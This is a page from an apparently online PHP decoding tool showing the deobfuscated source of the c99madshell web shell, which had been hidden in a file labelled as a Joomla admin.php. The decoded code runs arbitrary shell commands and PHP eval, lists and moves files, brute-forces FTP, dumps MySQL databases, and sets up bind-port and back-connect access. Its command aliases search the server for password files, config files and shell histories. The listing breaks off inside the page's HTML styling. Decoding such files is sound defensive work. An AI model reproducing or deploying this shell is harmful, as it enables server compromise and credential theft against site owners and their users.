Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * @version $Id: admin.php 14401 2010-01-26 14:10:00Z louis $ * @package Joom..
Decoded Output download
b'if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$shver = "2.1 madnet edition ADVANCED";
if (empty($surl))
{
$surl = $_SERVER[\'PHP_SELF\'];
}
$surl = htmlspecialchars($surl);
$timelimit = 0;
$host_allow = array("*");
$login_txt = "Admin area";
$accessdeniedmess = "die like the rest";
$gzipencode = TRUE;
$c99sh_sourcesurl = ""; //Sources-server
$filestealth = TRUE;
$donated_html = "";
$donated_act = array("");
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";
$log_email = "[email protected]";
$sort_default = "0a";
$sort_save = TRUE;
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"),
array("config.php",1) // example
);
$safemode_diskettes = array("a");
$hexdump_lines = 8;
$hexdump_rows = 24;
$nixpwdperpage = 100;
$bindport_pass = "c99mad";
$bindport_port = "31373";
$bc_port = "31373";
$datapipe_localport = "8081";
if (!$win)
{
$cmdaliases = array(
array("-----------------------------------------------------------", "ls -la"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an | grep -i listen")
);
}
else
{
$cmdaliases = array(
array("-----------------------------------------------------------", "dir"),
array("show opened ports", "netstat -an")
);
}
$sess_cookie = "c99shvars";
$usefsbuff = TRUE;
$copy_unset = FALSE;
$quicklaunch = array(
array("<b><hr>HOME</b>",$surl),
array("<b><=</b>","#\" onclick=\"history.back(1)"),
array("<b>=></b>","#\" onclick=\"history.go(1)"),
array("<b>UPDIR</b>","#\" onclick=\"document.todo.act.value=\'ls\';document.todo.d.value=\'%upd\';document.todo.sort.value=\'%sort\';document.todo.submit();"),
array("<b>Search</b>","#\" onclick=\"document.todo.act.value=\'search\';document.todo.d.value=\'%d\';document.todo.submit();"),
array("<b>Buffer</b>","#\" onclick=\"document.todo.act.value=\'fsbuff\';document.todo.d.value=\'%d\';document.todo.submit();"),
array("<b>Tools</b>","#\" onclick=\"document.todo.act.value=\'tools\';document.todo.d.value=\'%d\';document.todo.submit();"),
array("<b>Proc.</b>","#\" onclick=\"document.todo.act.value=\'processes\';document.todo.d.value=\'%d\';document.todo.submit();"),
array("<b>FTP brute</b>","#\" onclick=\"document.todo.act.value=\'ftpquickbrute\';document.todo.d.value=\'%d\';document.todo.submit();"),
array("<b>Sec.</b>","#\" onclick=\"document.todo.act.value=\'security\';document.todo.d.value=\'%d\';document.todo.submit();"),
array("<b>SQL</b>","#\" onclick=\"document.todo.act.value=\'sql\';document.todo.d.value=\'%d\';document.todo.submit();"),
array("<b>PHP-code</b>","#\" onclick=\"document.todo.act.value=\'eval\';document.todo.d.value=\'%d\';document.todo.submit();"),
array("<b>Self remove</b>","#\" onclick=\"document.todo.act.value=\'selfremove\';document.todo.submit();"),
array("<b>Logout</b>","#\" onclick=\"if (confirm(\'Are you sure?\')) window.close()")
);
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);
/////////////////////////////////////
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://securityprobe.net\">c99madshell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |<br>"," ",$donated_html));}
header("WWW-Authenticate: Basic realm=\"".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if (isset($_POST[\'act\'])) $act = $_POST[\'act\'];
if (isset($_POST[\'d\'])) $d = urldecode($_POST[\'d\']);
if (isset($_POST[\'sort\'])) $sort = $_POST[\'sort\'];
if (isset($_POST[\'f\'])) $f = $_POST[\'f\'];
if (isset($_POST[\'ft\'])) $ft = $_POST[\'ft\'];
if (isset($_POST[\'grep\'])) $grep = $_POST[\'grep\'];
if (isset($_POST[\'processes_sort\'])) $processes_sort = $_POST[\'processes_sort\'];
if (isset($_POST[\'pid\'])) $pid = $_POST[\'pid\'];
if (isset($_POST[\'sig\'])) $sig = $_POST[\'sig\'];
if (isset($_POST[\'base64\'])) $base64 = $_POST[\'base64\'];
if (isset($_POST[\'fullhexdump\'])) $fullhexdump = $_POST[\'fullhexdump\'];
if (isset($_POST[\'c\'])) $c = $_POST[\'c\'];
if (isset($_POST[\'white\'])) $white = $_POST[\'white\'];
if (isset($_POST[\'nixpasswd\'])) $nixpasswd = $_POST[\'nixpasswd\'];
$lastdir = realpath(".");
chdir($curdir);
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
if (!function_exists("c99_buff_prepare"))
{
function c99_buff_prepare()
{
global $sess_data;
global $act;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
c99_buff_prepare();
if (!function_exists("c99_sess_put"))
{
function c99_sess_put($data)
{
global $sess_cookie;
global $sess_data;
c99_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
}
else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) {return copy($d,$t);}
else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d))
{
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
$o = str_replace("\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o))
{
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("
",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("c99getsource"))
{
function c99getsource($fn)
{
global $c99sh_sourcesurl;
$array = array(
"c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
"c99sh_bindport.c" => "c99sh_bindport_c.txt",
"c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
"c99sh_backconn.c" => "c99sh_backconn_c.txt",
"c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
"c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
);
$name = $array[$fn];
if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
else {return FALSE;}
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
global $shver;
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($add_drop)) {$add_drop = TRUE;}
if (empty($file))
{
$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = TRUE;}
if (sizeof($tabs) == 0)
{
// retrive tables-list
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
}
$out = "# Dumped by C99madShell.SQL v. ".$shver."
# Home page: http://securityprobe.net
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------
";
$c = count($onlytabs);
foreach($tabs as $tab)
{
if ((in_array($tab,$onlytabs)) or (!$c))
{
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
";}
// recieve query for create table structure
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret["err"][] = mysql_smarterror();}
else
{
$row = mysql_fetch_row($res);
$out .= $row["1"].";
";
// recieve table variables
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0)
{
while ($row = mysql_fetch_assoc($res))
{
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("\', \'", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES (\'".$values."\');
";
$out .= $sql;
}
}
}
}
}
$out .= "#---------------------------------------------------------------------------------
";
if ($file)
{
$fp = fopen($file, "w");
if (!$fp) {$ret["err"][] = 2;}
else
{
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
if (!is_array($array)) {$array = array();}
$result = "";
foreach($array as $k=>$v)
{
$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "\'".addslashes($v)."\'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
}
$result = substr($result,0,strlen($result)-strlen($sep));
return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
if ($sock) {$result = mysql_query($query,$sock);}
else {$result = mysql_query($query);}
$array = array();
while ($row = mysql_fetch_array($result)) {$array[] = $row;}
mysql_free_result($result);
return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror($type,$sock)
{
if ($sock) {$error = mysql_error($sock);}
else {$error = mysql_error();}
$error = htmlspecialchars($error);
return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
$sql_query = urldecode($sql_query);
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act))
{
echo "<table border=0><tr><td><form method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
if ($tbl_struct)
{
echo "<td valign=\"top\"><b>Fields:</b><br>";
foreach ($tbl_struct as $field) {$name = $field["Field"]; echo " <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+=\'`".$name."`\';\"><b>".$name."</b></a><br>";}
echo "</td></tr></table>";
}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db"))
{
function mysql_create_db($db,$sock="")
{
$sql = "CREATE DATABASE `".addslashes($db)."`;";
if ($sock) {return mysql_query($sql,$sock);}
else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse"))
{
function mysql_query_parse($query)
{
$query = trim($query);
$arr = explode (" ",$query);
/*array array()
{
"METHOD"=>array(output_type),
"METHOD1"...
...
}
if output_type == 0, no output,
if output_type == 1, no output if no error
if output_type == 2, output without control-buttons
if output_type == 3, output with control-buttons
*/
$types = array(
"SELECT"=>array(3,1),
"SHOW"=>array(2,1),
"DELETE"=>array(1),
"DROP"=>array(1)
);
$result = array();
$op = strtoupper($arr[0]);
if (is_array($types[$op]))
{
$result["propertions"] = $types[$op];
$result["query"] = $query;
if ($types[$op] == 2)
{
foreach($arr as $k=>$v)
{
if (strtoupper($v) == "LIMIT")
{
$result["limit"] = $arr[$k+1];
$result["limit"] = explode(",",$result["limit"]);
if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
unset($arr[$k],$arr[$k+1]);
}
}
}
}
else {return FALSE;}
}
}
if (!function_exists("c99fsearch"))
{
function c99fsearch($d)
{
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($f = readdir($h)) !== FALSE)
{
if($f != "." && $f != "..")
{
$bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
if (is_dir($d.$f))
{
$search_i_d++;
if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
if (!is_link($d.$f)) {c99fsearch($d.$f);}
}
else
{
$search_i_f++;
if ($bool)
{
if (!empty($a["text"]))
{
$r = @file_get_contents($d.$f);
if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
else {$bool = strpos(" ".$r,$a["text"],1);}
if ($a["text_not"]) {$bool = !$bool;}
if ($bool) {$found[] = $d.$f; $found_f++;}
}
else {$found[] = $d.$f; $found_f++;}
}
}
}
}
closedir($h);
}
}
if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
//Sending headers
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
{
$v = @ob_get_contents();
@ob_end_clean();
@ob_start("ob_gzHandler");
echo $v;
@ob_end_flush();
}
}
function c99shexit()
{
onphpshutdown();
exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir))
{
$tmpdir = ini_get("upload_tmp_dir");
if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = TRUE;
$hsafemode = "<font color=red>ON (secure)</font>";
}
else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"#\" onclick=\"document.todo.act.value=\'phpinfo\';document.todo.submit();\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg); //FFFFFF
@ini_set("highlight.comment",$highlight_comment); //#FF8000
@ini_set("highlight.default",$highlight_default); //#0000BB
@ini_set("highlight.html",$highlight_html); //#000000
@ini_set("highlight.keyword",$highlight_keyword); //#007700
@ini_set("highlight.string",$highlight_string); //#DD0000
if (!is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99madshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: 